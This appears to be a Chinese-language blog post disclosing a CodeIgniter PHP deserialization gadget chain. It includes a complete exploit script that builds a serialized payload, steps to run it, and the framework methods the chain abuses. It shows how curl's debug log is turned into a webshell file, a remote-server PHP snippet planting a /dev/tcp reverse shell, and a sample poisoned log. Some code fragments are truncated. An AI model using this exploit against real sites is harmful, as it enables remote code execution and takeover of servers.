找到一条很有意思的codeigniter框架的链。
"./eee.php"
];
}
}
namespace CodeIgniter\Session\Handlers {
class MemcachedHandler{
public function __construct($memcached, $url){
$this->memcached = $memcached;
$this->lockKey = $url;
}
}
}
namespace CodeIgniter\Cache\Handlers {
class RedisHandler{
public $redis;
public function __construct($redis){
$this -> redis = $redis;
}
}
}
namespace {
$ip = $argv[1];
$port = $argv[2];
$exp = array(
new \CodeIgniter\Cache\Handlers\RedisHandler(
new \CodeIgniter\Session\Handlers\MemcachedHandler(
new \CodeIgniter\HTTP\CURLRequest(),
"http://$ip:$port/"
)
)
);
echo urlencode(serialize($exp));
}
下载最新的CodeIgniter框架,将以下代码写入app/controller/Home.php
。
准备一个远程服务器,并填入php代码到
index.php
。之后在index.php
所在目录启动一个简单的php http服务器。
执行上述exp并复制exp的输出。
php exp.php remote_server_ip remote_server_port
在本地启动CodeIgniter框架,将exp的输出粘贴到obj
参数中。然后,此exp将发送请求到远程服务器,并在本地写入eee.php。访问eee.php将执行phpinfo。
新gadget的起始向量仍然是CodeIgniter\Cache\Handlers\RedisHandler::__destruct
方法。
public function __destruct()
{
if (isset($this->redis))
{
$this->redis->close();
}
}
将redis设置为
CodeIgniter\Session\Handlers\MemcachedHandler'类的对象,然后我们跳到CodeIgniter\Session\Handlers\MemcachedHandler::close
方法。
public function close(): bool
{
if (isset($this->memcached))
{
isset($this->lockKey) && $this->memcached->delete($this->lockKey);
...
将lockKey
分配给一个特别准备的远程服务器ip,memcached
分配给一个CodeIgniter\HTTP\CURLRequest
类的对象,这个对象,在config
中设置debug
选项为一个php文件。
之后我们将跳到CodeIgniter\HTTP\CURLRequest::delete
方法。
public function delete(string $url, array $options = []): ResponseInterface
{
return $this->request('delete', $url, $options);
}
这个方法将http请求发送到设置的远程服务器。并且后续的调用将设置$curlOptions[CURLOPT_STDERR]
为我们之前指定的php文件。设置$curlOptions
的方法是CodeIgniter\HTTP\CURLRequest::setCURLOptions
。
protected function setCURLOptions(array $curlOptions = [], array $config = [])
{
...
if ($config['debug'])
{
$curlOptions[CURLOPT_VERBOSE] = 1;
$curlOptions[CURLOPT_STDERR] = is_string($config['debug']) ? fopen($config['debug'], 'a+') : fopen('php://stderr', 'w');
}
...
}
设置好的远程服务器将对发出的请求作出响应,并在响应头中返回一段php代码。这段php代码会被写入我们指定的curl日志文件中,也就是那个php文件。
远程服务器上的index.php。
& /dev/tcp/ip/port 0>&1\"');?>");
恶意的curl日志文件。
* Expire in 0 ms for 6 (transfer 0x???)
* Trying ???...
* TCP_NODELAY set
* Expire in 200 ms for 4 (transfer 0x???)
* Connected to ??? (???) port ??? (#0)
> DELETE / HTTP/1.1
Host: ???
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
< HTTP/1.1 200 OK
< Host: ???
< Date: Thu, 26 Aug 2021 06:07:19 GMT
< Connection: close
< X-Powered-By: & /dev/tcp/ip/port 0>&1"');?>
< Content-type: text/html; charset=UTF-8
<
* Closing connection 0